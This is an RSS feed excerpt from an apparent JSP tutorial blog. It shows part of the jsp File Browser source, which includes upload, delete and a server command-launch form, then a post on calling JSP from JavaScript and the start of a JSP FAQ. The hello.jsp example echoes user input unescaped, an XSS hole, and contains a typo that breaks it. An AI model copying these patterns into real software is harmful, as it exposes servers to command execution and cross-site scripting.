out.println(&#8221;&lt;tr class=\&#8221;mouseout\&#8221; onmouseup=\&#8221;selrow(this, 2)\&#8221; &#8221;<br />
+ &#8220;onmouseover=\&#8221;selrow(this, 0);\&#8221; onmouseout=\&#8221;selrow(this, 1)\&#8221;&gt;&#8221;);<br />
if (entry[i].canRead()) {<br />
out.println(&#8221;&lt;td align=center&gt;&lt;input type=\&#8221;checkbox\&#8221; name=\&#8221;selfile\&#8221; value=\&#8221;"<br />
+ name + &#8220;\&#8221; onmousedown=\&#8221;dis()\&#8221;&gt;&lt;/td&gt;&#8221;);<br />
}<br />
else {<br />
out.println(&#8221;&lt;td align=center&gt;&lt;input type=\&#8221;checkbox\&#8221; name=\&#8221;selfile\&#8221; disabled&gt;&lt;/td&gt;&#8221;);<br />
}<br />
out.print(&#8221;&lt;td align=left&gt; &amp;nbsp;&#8221; + link + &#8220;&lt;/td&gt;&#8221;);<br />
if (entry[i].isDirectory()) out.print(&#8221;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&#8221;);<br />
else {<br />
out.print(&#8221;&lt;td align=right title=\&#8221;" + entry[i].length() + &#8221; bytes\&#8221;&gt;&#8221;<br />
+ convertFileSize(entry[i].length()) + &#8220;&lt;/td&gt;&#8221;);<br />
}<br />
out.println(&#8221;&lt;td align=\&#8221;center\&#8221;&gt;&#8221; + type + &#8220;&lt;/td&gt;&lt;td align=left&gt; &amp;nbsp;&#8221; + // The file type (extension)<br />
date + &#8220;&lt;/td&gt;&lt;td&gt;&#8221; + // The date the file was created<br />
dlink + &#8220;&lt;/td&gt;&#8221;); // The download link<br />
if (!READ_ONLY)<br />
out.print (&#8221;&lt;td&gt;&#8221; + elink + &#8220;&lt;/td&gt;&#8221;); // The edit link (or view, depending)<br />
out.println(&#8221;&lt;/tr&gt;&#8221;);<br />
}<br />
}%&gt;<br />
&lt;/table&gt;<br />
&lt;input type=&#8221;checkbox&#8221; name=&#8221;selall&#8221; onClick=&#8221;AllFiles(this.form)&#8221;&gt;Select all<br />
&lt;p align=center&gt;<br />
&lt;b title=&#8221;&lt;%=totalSize%&gt; bytes&#8221;&gt;<br />
&lt;%=convertFileSize(totalSize)%&gt;&lt;/b&gt;&lt;b&gt; in &lt;%=fileCount%&gt; files in &lt;%= dir2linkdir((String) request.getAttribute(&#8221;dir&#8221;), browser_name, sortMode)%&gt;<br />
&lt;/b&gt;<br />
&lt;/p&gt;<br />
&lt;input type=&#8221;hidden&#8221; name=&#8221;dir&#8221; value=&#8221;&lt;%=request.getAttribute(&#8221;dir&#8221;)%&gt;&#8221;&gt;<br />
&lt;input type=&#8221;hidden&#8221; name=&#8221;sort&#8221; value=&#8221;&lt;%=sortMode%&gt;&#8221;&gt;<br />
&lt;input title=&#8221;Download selected files and directories as one zip file&#8221; class=&#8221;button&#8221; id=&#8221;but_Zip&#8221; type=&#8221;Submit&#8221; name=&#8221;Submit&#8221; value=&#8221;&lt;%=SAVE_AS_ZIP%&gt;&#8221;&gt;<br />
&lt;% if (!READ_ONLY) {%&gt;<br />
&lt;input title=&#8221;Delete all selected files and directories incl. subdirs&#8221; class=&#8221;button&#8221; id=&#8221;but_Del&#8221; type=&#8221;Submit&#8221; name=&#8221;Submit&#8221; value=&#8221;&lt;%=DELETE_FILES%&gt;&#8221;<br />
onclick=&#8221;return confirm(&#8217;Do you really want to delete the entries?&#8217;)&#8221;&gt;<br />
&lt;% } %&gt;<br />
&lt;% if (!READ_ONLY) {%&gt;<br />
&lt;br /&gt;<br />
&lt;input title=&#8221;Enter new dir or filename or the relative or absolute path&#8221; class=&#8221;textfield&#8221; type=&#8221;text&#8221; onKeypress=&#8221;event.cancelBubble=true;&#8221; id=&#8221;text_Dir&#8221; name=&#8221;cr_dir&#8221;&gt;<br />
&lt;input title=&#8221;Create a new directory with the given name&#8221; class=&#8221;button&#8221; id=&#8221;but_NDi&#8221; type=&#8221;Submit&#8221; name=&#8221;Submit&#8221; value=&#8221;&lt;%=CREATE_DIR%&gt;&#8221;&gt;<br />
&lt;input title=&#8221;Create a new empty file with the given name&#8221; class=&#8221;button&#8221; id=&#8221;but_NFi&#8221; type=&#8221;Submit&#8221; name=&#8221;Submit&#8221; value=&#8221;&lt;%=CREATE_FILE%&gt;&#8221;&gt;<br />
&lt;input title=&#8221;Move selected files and directories to the entered path&#8221; id=&#8221;but_Mov&#8221; class=&#8221;button&#8221; type=&#8221;Submit&#8221; name=&#8221;Submit&#8221; value=&#8221;&lt;%=MOVE_FILES%&gt;&#8221;&gt;<br />
&lt;input title=&#8221;Copy selected files and directories to the entered path&#8221; id=&#8221;but_Cop&#8221; class=&#8221;button&#8221; type=&#8221;Submit&#8221; name=&#8221;Submit&#8221; value=&#8221;&lt;%=COPY_FILES%&gt;&#8221;&gt;<br />
&lt;input title=&#8221;Rename selected file or directory to the entered name&#8221; id=&#8221;but_Ren&#8221; class=&#8221;button&#8221; type=&#8221;Submit&#8221; name=&#8221;Submit&#8221; value=&#8221;&lt;%=RENAME_FILE%&gt;&#8221;&gt;<br />
&lt;% } %&gt;<br />
&lt;/form&gt;<br />
&lt;br /&gt;<br />
&lt;div class=&#8221;formular&#8221;&gt;<br />
&lt;% if (ALLOW_UPLOAD) { %&gt;<br />
&lt;form class=&#8221;formular2&#8243; action=&#8221;&lt;%= browser_name%&gt;&#8221; enctype=&#8221;multipart/form-data&#8221; method=&#8221;POST&#8221;&gt;<br />
&lt;input type=&#8221;hidden&#8221; name=&#8221;dir&#8221; value=&#8221;&lt;%=request.getAttribute(&#8221;dir&#8221;)%&gt;&#8221;&gt;<br />
&lt;input type=&#8221;hidden&#8221; name=&#8221;sort&#8221; value=&#8221;&lt;%=sortMode%&gt;&#8221;&gt;<br />
&lt;input type=&#8221;file&#8221; class=&#8221;textfield&#8221; onKeypress=&#8221;event.cancelBubble=true;&#8221; name=&#8221;myFile&#8221;&gt;<br />
&lt;input title=&#8221;Upload selected file to the current working directory&#8221; type=&#8221;Submit&#8221; class=&#8221;button&#8221; name=&#8221;Submit&#8221; value=&#8221;&lt;%=UPLOAD_FILES%&gt;&#8221;<br />
onClick=&#8221;javascript:popUp(&#8217;&lt;%= browser_name%&gt;&#8217;)&#8221;&gt;<br />
&lt;/form&gt;<br />
&lt;%} %&gt;<br />
&lt;% if (NATIVE_COMMANDS) {%&gt;<br />
&lt;form class=&#8221;formular2&#8243; action=&#8221;&lt;%= browser_name%&gt;&#8221; method=&#8221;POST&#8221;&gt;<br />
&lt;input type=&#8221;hidden&#8221; name=&#8221;dir&#8221; value=&#8221;&lt;%=request.getAttribute(&#8221;dir&#8221;)%&gt;&#8221;&gt;<br />
&lt;input type=&#8221;hidden&#8221; name=&#8221;sort&#8221; value=&#8221;&lt;%=sortMode%&gt;&#8221;&gt;<br />
&lt;input type=&#8221;hidden&#8221; name=&#8221;command&#8221; value=&#8221;"&gt;<br />
&lt;input title=&#8221;Launch command in current directory&#8221; type=&#8221;Submit&#8221; class=&#8221;button&#8221; id=&#8221;but_Lau&#8221; name=&#8221;Submit&#8221; value=&#8221;&lt;%=LAUNCH_COMMAND%&gt;&#8221;&gt;<br />
&lt;/form&gt;&lt;%<br />
}%&gt;<br />
&lt;/div&gt;<br />
&lt;%}%&gt;<br />
&lt;hr&gt;<br />
&lt;center&gt;<br />
&lt;small&gt;jsp File Browser version &lt;%= VERSION_NR%&gt; by &lt;a href=&#8221;http://www.vonloesch.de&#8221;&gt;www.vonloesch.de&lt;/a&gt;&lt;/small&gt;<br />
&lt;/center&gt;<br />
&lt;/body&gt;<br />
&lt;/html&gt;&lt;%<br />
}<br />
%&gt;</p>
<p><strong><span style="text-decoration: underline;"> example-css.css:</span></strong></p>
<p> input.button { background-color: #EF9C00;<br />
color: #8C5900;<br />
border: 2px outset #EF9C00; }<br />
input.button:Hover { color: #444444 }</p>
<p> input { background-color:#FDEBCF;<br />
border: 2px inset #FDEBCF }</p>
<p>table.filelist { background-color:#FDE2B8;<br />
width:100%;<br />
border:3px solid #ffffff }<br />
th { background-color:#BC001D;<br />
font-size: 10pt;<br />
color:#022F55 }</p>
<p>tr.mouseout { background-color:#F5BA5C; }<br />
tr.mouseout td {border:1px solid #F5BA5C;}</p>
<p>tr.mousein { background-color:#EF9C00; }<br />
tr.mousein td { border-top:1px solid #3399ff;<br />
border-bottom:1px solid #3399FF;<br />
border-left:1px solid #EF9C00;<br />
border-right:1px solid #EF9C00; }<br />
tr.checked { background-color:#B57600 }<br />
tr.checked td {border:1px solid #B57600;}</p>
<p>tr.mousechecked { background-color:#8C5900 }<br />
tr.mousechecked td {border:1px solid #8C5900;}</p>
<p>td { font-family:Verdana, Arial, Helvetica, sans-serif;<br />
font-size: 7pt;<br />
color: #FFF5E8; }</p>
<p>td.message { background-color: #FFFF00;<br />
color: #000000;<br />
text-align:center;<br />
font-weight:bold }<br />
.formular {margin: 1px; background-color:#ffffff; padding: 1em; border:1px solid #000000;}<br />
.formular2 {margin: 1px;}</p>
<p>A { text-decoration: none;<br />
color: #005073<br />
}<br />
A:Hover { color : #022F55;<br />
text-decoration : underline; }<br />
BODY { font-family:Verdana, Arial, Helvetica, sans-serif;<br />
font-size: 8pt;<br />
color: #666666;<br />
background-color: #FDE2B8;<br />
}</p>
<p> </p>
<p><strong></strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.dailyinfobyte.com/2009/07/01/browsing-through-desktop-files/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to call Jsp page from Javascript?</title>
		<link>http://www.dailyinfobyte.com/2009/07/01/how-to-call-jsp-page-from-javascript/</link>
		<comments>http://www.dailyinfobyte.com/2009/07/01/how-to-call-jsp-page-from-javascript/#comments</comments>
		<pubDate>Wed, 01 Jul 2009 12:07:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Technical]]></category>
		<category><![CDATA[]]></category>
		<category><![CDATA[how to call jsp from java script]]></category>
		<category><![CDATA[How to call Jsp page from Javascript]]></category>
		<category><![CDATA[how to calljsp page from JS]]></category>
		<category><![CDATA[INPUT TYPE=BUTTON]]></category>
		<category><![CDATA[Java script]]></category>
		<category><![CDATA[js]]></category>
		<category><![CDATA[JSP]]></category>
		<category><![CDATA[jsp page]]></category>
		<category><![CDATA[requset.getParameter]]></category>
		<category><![CDATA[window.location.href]]></category>

		<guid isPermaLink="false">http://www.dailyinfobyte.com/?p=196</guid>
		<description><![CDATA[We can call JSP page from JavaScript using &#8220;window.location.href = &#8216;download.jsp&#8217;?name=john;&#8221; where download.jsp is jsp file, name is parameter name and john is parameter value.
Example:
Hello.html:
&#60;html&#62;
&#60;head&#62;
&#60;title&#62;Add Faulty Phones&#60;/title&#62;
&#60;script type=&#8221;text/javascript&#8221;&#62;
function changeLocation()
{
window.location.href =&#8217;hello.jsp?name=John&#8217;;
}
&#60;/script&#62;
&#60;/head&#62;
&#60;body&#62;
&#60;form method=get&#62;
&#60;INPUT TYPE=BUTTON ONCLICK=&#8221;changeLocation()&#8221; VALUE=&#8221;Click&#8221;&#62;
&#60;/form&#62;
&#60;/html&#62;

 hello.jsp:

 &#60;center&#62;Hello &#60;%=requset.getParameter(&#8221;name&#8221;)%&#62;
&#60;/center&#62;
]]></description>
			<content:encoded><![CDATA[<p>We can call JSP page from JavaScript using &#8220;<span style="font-size: x-small; font-family: Arial;">window.location.href = &#8216;download.jsp&#8217;?name=john;&#8221; where download.jsp is jsp file, name is parameter name and john is parameter value.</span></p>
<p><span style="font-size: x-small; font-family: Arial;"><strong><span style="text-decoration: underline;">Example:</span></strong></span></p>
<p><span style="font-size: x-small; font-family: Arial;"><strong><span style="text-decoration: underline;">Hello.html:</span></strong></span></p>
<p><span style="font-size: x-small; font-family: Arial;">&lt;html&gt;<br />
&lt;head&gt;<br />
&lt;title&gt;Add Faulty Phones&lt;/title&gt;<br />
&lt;script type=&#8221;text/javascript&#8221;&gt;<br />
function changeLocation()<br />
{<br />
window.location.href =&#8217;hello.jsp?name=John&#8217;;<br />
}<br />
&lt;/script&gt;<br />
&lt;/head&gt;<br />
&lt;body&gt;<br />
&lt;form method=get&gt;<br />
&lt;INPUT TYPE=BUTTON ONCLICK=&#8221;changeLocation()&#8221; VALUE=&#8221;Click&#8221;&gt;<br />
&lt;/form&gt;<br />
&lt;/html&gt;</span></p>
<p class="MsoNormal">
<p class="MsoNormal"><strong><span style="text-decoration: underline;"> </span></strong><span style="font-size: x-small; font-family: Arial;"><span style="FONT-SIZE: 10pt; FONT-FAMILY: Arial"><strong><span style="text-decoration: underline;">hello.jsp:</span><br />
</strong></span></span></p>
<p> &lt;center&gt;Hello &lt;%=requset.getParameter(&#8221;name&#8221;)%&gt;<br />
&lt;/center&gt;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dailyinfobyte.com/2009/07/01/how-to-call-jsp-page-from-javascript/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>JSP FAQ</title>
		<link>http://www.dailyinfobyte.com/2009/03/11/jsp-faq/</link>
		<comments>http://www.dailyinfobyte.com/2009/03/11/jsp-faq/#comments</comments>
		<pubDate>Thu, 12 Mar 2009 03:00:51 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Technical]]></category>
		<category><![CDATA[JSP]]></category>
		<category><![CDATA[JSP FAQ]]></category>
		<category><![CDATA[technical FAQ]]></category>

		<guid isPermaLink="false">http://www.dailyinfobyte.com/?p=100</guid>
		<description><![CDATA[
TABLE OF CONTENTS
How do I communicate with a JSP page from an applet? 
How does the performance of JSP pages compare with that of servlets? How does it compare with Perl scripts? 
What&#8217;s the difference between the JSDK and the JSWDK? And what&#8217;s the current version? 
How can I get to print the stacktrace for [...]]]></description>
			<content:encoded><![CDATA[<p><span style="font-size: 10pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; mso-fareast-language: EN-US; mso-bidi-language: AR-SA;"><br style="page-break-before: always;" /></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 14pt; mso-bidi-font-size: 10.0pt;"><span style="font-family: Times New Roman;">TABLE OF CONTENTS</span></span></strong></p>
<p class="MsoToc1" style="margin: 6pt 0in 0pt; tab-stops: right lined 467.5pt;"><span style="mso-no-proof: yes;"><span style="font-size: small;"><strong><em><span style="font-family: Times New Roman;">How do I communicate with a JSP page from an applet? </span></em></strong></span></span></p>
<p class="MsoToc1" style="margin: 6pt 0in 0pt; tab-stops: right lined 467.5pt;"><span style="mso-no-proof: yes;"><span style="font-size: small;"><strong><em><span style="font-family: Times New Roman;">How does the performance of JSP pages compare with that of servlets? How does it compare with Perl scripts? </span></em></strong></span></span></p>
<p class="MsoToc1" style="margin: 6pt 0in 0pt; tab-stops: right lined 467.5pt;"><span style="mso-no-proof: yes;"><span style="font-size: small;"><strong><em><span style="font-family: Times New Roman;">What&#8217;s the difference between the JSDK and the JSWDK? And what&#8217;s the current version? </span></em></strong></span></span></p>
<p class="MsoToc1" style="margin: 6pt 0in 0pt; tab-stops: right lined 467.5pt;"><span style="mso-no-proof: yes;"><span style="font-size: small;"><strong><em><span style="font-family: Times New Roman;">How can I get to print the stacktrace for an exception occuring within my JSP page? </span></em></strong></span></span></p>
<p class="MsoToc1" style="margin: 6pt 0in 0pt; tab-stops: right lined 467.5pt;"><span style="mso-no-proof: yes;"><span style="font-size: small;"><strong><em><span style="font-family: Times New Roman;">Can I invoke a JSP error page from a servlet? </span></em></strong></span></span></p>
<p class="MsoToc1" style="margin: 6pt 0in 0pt; tab-stops: right lined 467.5pt;"><span style="mso-no-proof: yes;"><span style="font-size: small;"><strong><em><span style="font-family: Times New Roman;">How can I send email from a JSP page? </span></em></strong></span></span></p>
<p class="MsoToc1" style="margin: 6pt 0in 0pt; tab-stops: right lined 467.5pt;"><span style="mso-no-proof: yes;"><span style="font-size: small;"><strong><em><span style="font-family: Times New Roman;">How do I use a scriptlet to initialize a newly instantiated bean? </span></em></strong></span></span></p>
<p class="MsoToc1" style="margin: 6pt 0in 0pt; tab-stops: right lined 467.5pt;"><span style="mso-no-proof: yes;"><span style="font-size: small;"><strong><em><span style="font-family: Times New Roman;">Can you make use of a ServletOutputStream object from within a JSP page? </span></em></strong></span></span></p>
<p class="MsoToc1" style="margin: 6pt 0in 0pt; tab-stops: right lined 467.5pt;"><span style="mso-no-proof: yes;"><span style="font-size: small;"><strong><em><span style="font-family: Times New Roman;">How can I enable session tracking for JSP pages if the browser has disabled cookies? </span></em></strong></span></span></p>
<p class="MsoToc1" style="margin: 6pt 0in 0pt; tab-stops: right lined 467.5pt;"><span style="mso-no-proof: yes;"><span style="font-size: small;"><strong><em><span style="font-family: Times New Roman;">How can I declare methods within my JSP page? </span></em></strong></span></span></p>
<p class="MsoToc1" style="margin: 6pt 0in 0pt; tab-stops: right lined 467.5pt;"><span style="mso-no-proof: yes;"><span style="font-size: small;"><strong><em><span style="font-family: Times New Roman;">Can I stop JSP execution while in the midst of processing a request? </span></em></strong></span></span></p>
<p class="MsoToc1" style="margin: 6pt 0in 0pt; tab-stops: right lined 467.5pt;"><span style="mso-no-proof: yes;"><span style="font-size: small;"><strong><em><span style="font-family: Times New Roman;">Is there a way I can set the inactivity lease period on a per-session basis? </span></em></strong></span></span></p>
<p class="MsoToc1" style="margin: 6pt 0in 0pt; tab-stops: right lined 467.5pt;"><span style="mso-no-proof: yes;"><span style="font-size: small;"><strong><em><span style="font-family: Times New Roman;">How can I get to view any compilation/parsing errors at the client while developing JSP pages? </span></em></strong></span></span></p>
<p class="MsoToc1" style="margin: 6pt 0in 0pt; tab-stops: right lined 467.5pt;"><span style="mso-no-proof: yes;"><span style="font-size: small;"><strong><em><span style="font-family: Times New Roman;">How can I delete a cookie from within a JSP page? </span></em></strong></span></span></p>
<p class="MsoToc1" style="margin: 6pt 0in 0pt; tab-stops: right lined 467.5pt;"><span style="mso-no-proof: yes;"><span style="font-size: small;"><strong><em><span style="font-family: Times New Roman;">How do I set a cookie within a JSP page? </span></em></strong></span></span></p>
<p class="MsoToc1" style="margin: 6pt 0in 0pt; tab-stops: right lined 467.5pt;"><span style="mso-no-proof: yes;"><span style="font-size: small;"><strong><em><span style="font-family: Times New Roman;">Can a JSP page instantiate a serialized bean? </span></em></strong></span></span></p>
<p class="MsoToc1" style="margin: 6pt 0in 0pt; tab-stops: right lined 467.5pt;"><span style="mso-no-proof: yes;"><span style="font-size: small;"><strong><em><span style="font-family: Times New Roman;">Is there a way to reference the &#8220;this&#8221; variable within a JSP page? </span></em></strong></span></span></p>
<p class="MsoToc1" style="margin: 6pt 0in 0pt; tab-stops: right lined 467.5pt;"><span style="mso-no-proof: yes;"><span style="font-size: small;"><strong><em><span style="font-family: Times New Roman;">Can JSPs and servlets share the same session? </span></em></strong></span></span></p>
<p class="MsoToc1" style="margin: 6pt 0in 0pt; tab-stops: right lined 467.5pt;"><span style="mso-no-proof: yes;"><span style="font-size: small;"><strong><em><span style="font-family: Times New Roman;">Show me an example of POST request chaining using JSPs and servlets</span></em></strong></span></span></p>
<p class="MsoToc1" style="margin: 6pt 0in 0pt; tab-stops: right lined 467.5pt;"><span style="mso-no-proof: yes;"><span style="font-size: small;"><strong><em><span style="font-family: Times New Roman;">How does a servlet communicate with a JSP page? </span></em></strong></span></span></p>
<p class="MsoToc1" style="margin: 6pt 0in 0pt; tab-stops: right lined 467.5pt;"><span style="mso-no-proof: yes;"><span style="font-size: small;"><strong><em><span style="font-family: Times New Roman;">JSP 0.91 and 0.92 specifications are no longer available at java.sun.com. Is there somewhere else I can download them? </span></em></strong></span></span></p>
<p class="MsoToc1" style="margin: 6pt 0in 0pt; tab-stops: right lined 467.5pt;"><span style="mso-no-proof: yes;"><span style="font-size: small;"><strong><em><span style="font-family: Times New Roman;">Where can I find the complete list of commercial vendor support for JSP? </span></em></strong></span></span></p>
<p class="MsoToc1" style="margin: 6pt 0in 0pt; tab-stops: right lined 467.5pt;"><span style="mso-no-proof: yes;"><span style="font-size: small;"><strong><em><span style="font-family: Times New Roman;">Are there any JSP engines which support JavaScript? </span></em></strong></span></span></p>
<p class="MsoToc1" style="margin: 6pt 0in 0pt; tab-stops: right lined 467.5pt;"><span style="mso-no-proof: yes;"><span style="font-size: small;"><strong><em><span style="font-family: Times New Roman;">How does the &#8220;application&#8221; scope work with the useBean tag? </span></em></strong></span></span></p>
<p class="MsoToc1" style="margin: 6pt 0in 0pt; tab-stops: right lined 467.5pt;"><span style="mso-no-proof: yes;"><span style="font-size: small;"><strong><em><span style="font-family: Times New Roman;">My JSP file compiles just fine&#8230;but I always get a NoClassDefFoundError when I try to access a bean via the useBean tag. Why? </span></em></strong></span></span></p>
<p class="MsoToc1" style="margin: 6pt 0in 0pt; tab-stops: right lined 467.5pt;"><span style="mso-no-proof: yes;"><span style="font-size: small;"><strong><em><span style="font-family: Times New Roman;">How can I implement a thread-safe JSP page? </span></em></strong></span></span></p>
<p class="MsoToc1" style="margin: 6pt 0in 0pt; tab-stops: right lined 467.5pt;"><span style="mso-no-proof: yes;"><span style="font-size: small;"><strong><em><span style="font-family: Times New Roman;">Can a JSP page process HTML FORM data? </span></em></strong></span></span></p>
<p class="MsoToc1" style="margin: 6pt 0in 0pt; tab-stops: right lined 467.5pt;"><span style="mso-no-proof: yes;"><span style="font-size: small;"><strong><em><span style="font-family: Times New Roman;">How does JSP handle run-time exceptions? </span></em></strong></span></span></p>
<p class="MsoToc1" style="margin: 6pt 0in 0pt; tab-stops: right lined 467.5pt;"><span style="mso-no-proof: yes;"><span style="font-size: small;"><strong><em><span style="font-family: Times New Roman;">What JSP lifecycle methods can I override? </span></em></strong></span></span></p>
<p class="MsoToc1" style="margin: 6pt 0in 0pt; tab-stops: right lined 467.5pt;"><span style="mso-no-proof: yes;"><span style="font-size: small;"><strong><em><span style="font-family: Times New Roman;">How can I override the jspInit() and jspDestroy() methods within a JSP page? </span></em></strong></span></span></p>
<p class="MsoToc1" style="margin: 6pt 0in 0pt; tab-stops: right lined 467.5pt;"><span style="mso-no-proof: yes;"><span style="font-size: small;"><strong><em><span style="font-family: Times New Roman;">How do I include static files within a JSP page? </span></em></strong></span></span></p>
<p class="MsoToc1" style="margin: 6pt 0in 0pt; tab-stops: right lined 467.5pt;"><span style="mso-no-proof: yes;"><span style="font-size: small;"><strong><em><span style="font-family: Times New Roman;">How do I use comments within a JSP page? </span></em></strong></span></span></p>
<p class="MsoToc1" style="margin: 6pt 0in 0pt; tab-stops: right lined 467.5pt;"><span style="mso-no-proof: yes;"><span style="font-size: small;"><strong><em><span style="font-family: Times New Roman;">How do I perform browser redirection from a JSP page? </span></em></strong></span></span></p>
<p class="MsoToc1" style="margin: 6pt 0in 0pt; tab-stops: right lined 467.5pt;"><span style="mso-no-proof: yes;"><strong><em><span style="font-size: small;"><span style="font-family: Times New Roman;">How do I prevent the output of my JSP pages from being cached by the browser? </span></span></em></strong></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><br style="page-break-before: always; mso-special-character: line-break;" /><strong><span style="font-size: x-small;"> </span></strong></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><strong style="mso-bidi-font-weight: normal;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: x-small;"> </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"> </span></p>
<h1 style="margin: 0in 0in 0pt;"><a name="_Toc470691753"><span style="font-size: x-small; font-family: Verdana;">How do I communicate with a JSP page from an applet?</span></a></h1>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"><span style="mso-spacerun: yes;"> </span></span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">It&#8217;s similar to communication between Servlet and Applet. I&#8217;m also suffering for that. In applet, there is no problem when posting a request to JSP. But in case of getting a response of JSP, &#8220;java.io.StreamCorruptedException&#8221; occurs if I use ObjectInputStream. It&#8217;s fine, however, if I use InputStreamReader. Confer the sample below. </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="mso-spacerun: yes;"><span style="font-size: x-small; font-family: Courier New;"> </span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">/** applet */ </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">   </span>: </span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">// Get URLConnection </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">String urlStr = &#8220;http://www.webtrack.co.kr/jsp/appletproxy.jsp&#8221;; </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">URL serverURL = new URL(urlStr); </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">URLConnection uc = serverURL.openConnection(); </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">uc.setDoOutput(true); // intends to write data to the URL connection </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">uc.setUseCaches(false); // the protocol must always try to get a fresh copy of the object </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">uc.setRequestProperty(&#8221;Content-type&#8221;, &#8220;application/octet-stream&#8221;); </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">// Request(POST) </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">ObjectOutputStream objOut = new ObjectOutputStream(uc.getOutputStream()); </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">objOut.writeObject(new String(&#8221;Hello, acidzazz?&#8221;)); </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">objOut.flush(); </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">objOut.close(); </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">// Get Server&#8217;s response </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">ObjectInputStream objIn = new ObjectInputStream(uc.getInputStream()); </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">BufferedReader ir = new BufferedReader(new InputStreamReader(uc.getInputStream())); </span></p>
